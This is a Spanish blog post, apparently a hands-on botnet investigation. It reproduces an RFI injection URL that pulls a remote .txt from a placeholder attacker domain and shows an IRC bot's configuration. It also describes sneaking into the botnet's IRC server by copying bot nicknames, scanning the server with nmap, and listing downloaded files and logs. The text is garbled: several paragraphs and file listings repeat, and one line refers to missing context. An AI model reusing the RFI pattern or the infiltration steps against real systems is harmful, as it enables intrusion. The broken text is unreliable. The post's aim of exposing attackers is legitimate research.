Destripando una Botnet y Rastreando a su Titiritero
Hace unos días un amigo me comentó que alguien había intentado acceder a su web y había tratado inyectar una URL, pero la forma de hacerlo no tenía sentido. Me llamó la atención y le dije que me enviara ejemplos de lo que habían tratado de hacer.
Intento de explotación de un RFI:
www.dominiovictima.com/gratis//appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt
Analizando la URL atacada podemos ver dos partes claramente diferenciadas, la url víctima y la inyección, en esta última vemos otra URL que contiene un archivo ".txt":
/appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt
Vamos a ver el contenido de ese sospechoso txt que podemos encontrar aquí:
[Les recomiendo descargar el txt para que puedan seguir paso a paso el post y entiendan varios puntos ;) ]
Bueno, una vez teniendo el txt veremos:
Intento de explotación de un RFI:
www.dominiovictima.com/gratis//appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt
Analizando la URL atacada podemos ver dos partes claramente diferenciadas, la url víctima y la inyección, en esta última vemos otra URL que contiene un archivo ".txt":
/appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt
Vamos a ver el contenido de ese sospechoso txt que podemos encontrar aquí:
[Les recomiendo descargar el txt para que puedan seguir paso a paso el post y entiendan varios puntos ;) ]
Bueno, una vez teniendo el txt veremos:
var $config = array("server"=>"irc.dominio.net",
"port"=>"6667",
"pass"=>"",
"prefix"=>"BoT",
"maxrand"=>"5",
"chan"=>"#channel",
"chan2"=>"#channel",
"key"=>"senhadocanal",
"modes"=>"+p",
"password"=>"terpmak",
"trigger"=>".",
"hostauth"=>"127.0.0.1"
);
?>
A simple vista lo primero que llama la atención son tres cosas, una cabecera con una muy buena descripcion de lo que hace el script, unas líneas de configuración y un footer con el nombre de una comunidad (-_-)! .
En este punto sabemos que lo que quiere el "Juaker" es controlar el host donde se aloja la web para convertirla en un bot que pueda utilizar en ataques DDoS, que el C&C está alojado en un canal IRC en un servidor controlado por el atacante y que los atacantes probablemente sean indonesios ya que buscando por el nombre de la comunidad en google podemos ver un blog donde publican scripts, aunque tambien puede ser que alguien los haya tomado y reutilizado (suele pasar :/ ).
Para salir de dudas profundizamos un poco y nos conectamos al C&C de los atacantes al que accedemos sin restricción. Por los datos que nos devuelve el servidor vemos que hay bastantes usuarios conectados:
* There are 281 users
Pensando un poco me doy cuenta que los zombies conectados siguen un patrón de nomenclatura de este estilo UBoTXXXXX o ABoTXXXXX, por lo que el bot que nos ha expulsado tiene que reconocer ese patron y mantenerlos conectados así que nueva ip, nombre acorde a sus normas y BINGO, estamos dentro, preparamos un bot que se mantenga conectado y registramos los logs del IRC para ver que actividades siguen los "Juakers" XD .
Pensando un poco me doy cuenta que los zombies conectados siguen un patrón de nomenclatura de este estilo UBoTXXXXX o ABoTXXXXX, por lo que el bot que nos ha expulsado tiene que reconocer ese patron y mantenerlos conectados así que nueva ip, nombre acorde a sus normas y BINGO, estamos dentro, preparamos un bot que se mantenga conectado y registramos los logs del IRC para ver que actividades siguen los "Juakers" XD .
Despues de 24 horas de registro ya tenemos datos suficientes:
- Hay dos canales de actividad básica
- Los delincuentes usan el indonesio como idioma principal
- Utilizan diferentes escaners de vulnerabilidades que se basan en dorks las 24 horas del dia para ir consiguiendo hosts que puedan comprometer y unir a la botnet.
- Las vulnerabilidades mas usadas son RFI, SQLi y LFI
Todos los hosts usados para comprometer otros han sido vulnerados antes, a los que se suben herramientas que les sirven a los atacantes para sus propósitos, unos ejemplos de estas herramientas son: mailerx.php (Herramienta para spam), dumper.php(Herramienta de volcado de DB), nochex_apc.php (Shell PHP) y 3xp.php (Uploader).
Ahora ya conocemos el la manera enla que operanlos Titiriteros (administradores) de la botnet, pero vamos a ver en que negocios se mueven y porque tanto misterios jojojo. Listando los canales del IRC y leyendo los topics de cada uno de ellos veo que hay dos canales bastante poblados que coinciden con los nombres de dos administradores que están en el canal principal donde el topic es:
* [-=BKHT=-] * (®) Available : || Shell c99 & r57 | Mailer | cPanel Hack Host | SMTP | Rdp | WHM | Root | SSH || Contact : Nick || Email : email@gmail.com || Card Credit Frees PM xNx or Email email@host.us Send Card Credit Frees No Bacot (®)'
Por último y sin desviarnos entre todos los otros servidores IRC y webs que nos invitan a entrar desde los topics pasamos nmap al servidor IRC para ver que esconde:
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
110/tcp open pop3
143/tcp open imap
443/tcp open https
465/tcp open smtps
993/tcp open imaps
995/tcp open pop3s
ha, por lo visto no lo son, así que nos descargamos los archivos y los analizamos en local. Una vez descomprimido service.tgz nos encontramos la siguiente estructura de archivos:
audit@kali:~/Desktop/Botnet/services$ ls -al
total 3952
drwxrwxrwx 7 1002 1003 4096 jun 21 10:53 .
drwxr-xr-x 5 root root 4096 jul 12 11:39 ..
-rwxr-xr-x 1 1002 1003 3862 abr 14 16:46 anoperc
drwxr-xr-x 2 1002 1003 4096 jun 20 19:01 backups
-rw------- 1 1002 1003 55 jun 21 10:53 bot.db
-rw------- 1 1002 1003 229744 jun 21 10:53 chan.db
-rw------- 1 1002 1003 12 may 15 02:42 cs_autolimit.db
-rw-r--r-- 1 1002 1003 886 abr 14 16:46 example.chk
-rw-r--r-- 1 1002 1003 56916 abr 14 16:46 example.conf
-rw------- 1 1002 1003 6 jun 21 10:53 exception.db
-rw------- 1 1002 1003 40664 jun 21 10:53 hosts.db
-rw------- 1 1002 1003 0 jun 21 10:53 hs_request.db
drwx------ 2 1002 1003 4096 jul 5 2011 languages
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listchans
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listnicks
drwxr-xr-x 2 1002 1003 4096 jun 20 19:01 logs
drwxr-xr-x 3 1002 1003 4096 abr 14 16:46 modules
-rwxr-xr-x 1 1002 1003 5926 abr 14 16:46 mydbgen
-rw------- 1 1002 1003 333 jun 21 10:53 news.db
-rw------- 1 1002 1003 210180 jun 21 10:53 nick.db
-rw------- 1 1002 1003 20 jun 21 10:53 oper.db
-rw------- 1 1002 1003 0 jun 21 10:53 os_info.db
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 services
-rwxr-xr-x 1 1002 1003 895 mar 2 08:13 services.chk
-rw-r--r-- 1 1002 1003 6773 may 21 06:33 services.conf
-rw------- 1 1002 1003 5 may 21 06:33 services.pid
-rw-r--r-- 1 1002 1003 12654 abr 14 16:46 tables.sql
drwxr-xr-x 2 1002 1003 4096 abr 14 16:46 tools
-rwxr-xr-x 1 1002 1003 21516 abr 30 2012 xh
total 3952
drwxrwxrwx 7 1002 1003 4096 jun 21 10:53 .
drwxr-xr-x 5 root root 4096 jul 12 11:39 ..
-rwxr-xr-x 1 1002 1003 3862 abr 14 16:46 anoperc
drwxr-xr-x 2 1002 1003 4096 jun 20 19:01 backups
-rw------- 1 1002 1003 55 jun 21 10:53 bot.db
-rw------- 1 1002 1003 229744 jun 21 10:53 chan.db
-rw------- 1 1002 1003 12 may 15 02:42 cs_autolimit.db
-rw-r--r-- 1 1002 1003 886 abr 14 16:46 example.chk
-rw-r--r-- 1 1002 1003 56916 abr 14 16:46 example.conf
-rw------- 1 1002 1003 6 jun 21 10:53 exception.db
-rw------- 1 1002 1003 40664 jun 21 10:53 hosts.db
-rw------- 1 1002 1003 0 jun 21 10:53 hs_request.db
drwx------ 2 1002 1003 4096 jul 5 2011 languages
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listchans
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listnicks
drwxr-xr-x 2 1002 1003 4096 jun 20 19:01 logs
drwxr-xr-x 3 1002 1003 4096 abr 14 16:46 modules
-rwxr-xr-x 1 1002 1003 5926 abr 14 16:46 mydbgen
-rw------- 1 1002 1003 333 jun 21 10:53 news.db
-rw------- 1 1002 1003 210180 jun 21 10:53 nick.db
-rw------- 1 1002 1003 20 jun 21 10:53 oper.db
-rw------- 1 1002 1003 0 jun 21 10:53 os_info.db
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 services
-rwxr-xr-x 1 1002 1003 895 mar 2 08:13 services.chk
-rw-r--r-- 1 1002 1003 6773 may 21 06:33 services.conf
-rw------- 1 1002 1003 5 may 21 06:33 services.pid
-rw-r--r-- 1 1002 1003 12654 abr 14 16:46 tables.sql
drwxr-xr-x 2 1002 1003 4096 abr 14 16:46 tools
-rwxr-xr-x 1 1002 1003 21516 abr 30 2012 xh
-rw------- 1 1002 1003 15589 jun 15 18:56 services.log.20130615
-rw------- 1 1002 1003 11762 jun 16 18:46 services.log.20130616
-rw------- 1 1002 1003 10969 jun 17 18:51 services.log.20130617
-rw------- 1 1002 1003 14184 jun 18 18:41 services.log.20130618
-rw------- 1 1002 1003 14016 jun 19 18:56 services.log.20130619
-rw------- 1 1002 1003 23509 jun 20 18:52 services.log.20130620
-rw------- 1 1002 1003 8884 jun 21 10:57 services.log.20130621
-rw------- 1 1002 1003 11762 jun 16 18:46 services.log.20130616
-rw------- 1 1002 1003 10969 jun 17 18:51 services.log.20130617
-rw------- 1 1002 1003 14184 jun 18 18:41 services.log.20130618
-rw------- 1 1002 1003 14016 jun 19 18:56 services.log.20130619
-rw------- 1 1002 1003 23509 jun 20 18:52 services.log.20130620
-rw------- 1 1002 1003 8884 jun 21 10:57 services.log.20130621
[Jun 15 01:39:27 2013] NickServ: admin1!admin1@XXX.XXX.XXX.XXX identified for nick admin1
[Jun 15 21:10:45 2013] NickServ: admin1!admin1@XXX.XXX.XXX.XXX identified for nick admin1
[Jun 15 21:10:45 2013] NickServ: admin1!admin1@XXX.XXX.XXX.XXX identified for nick admin1
Hay algunos datos que omití o información que no anote pero el post tiene lo suficiente como para que se den una idea básica sobre este tema :)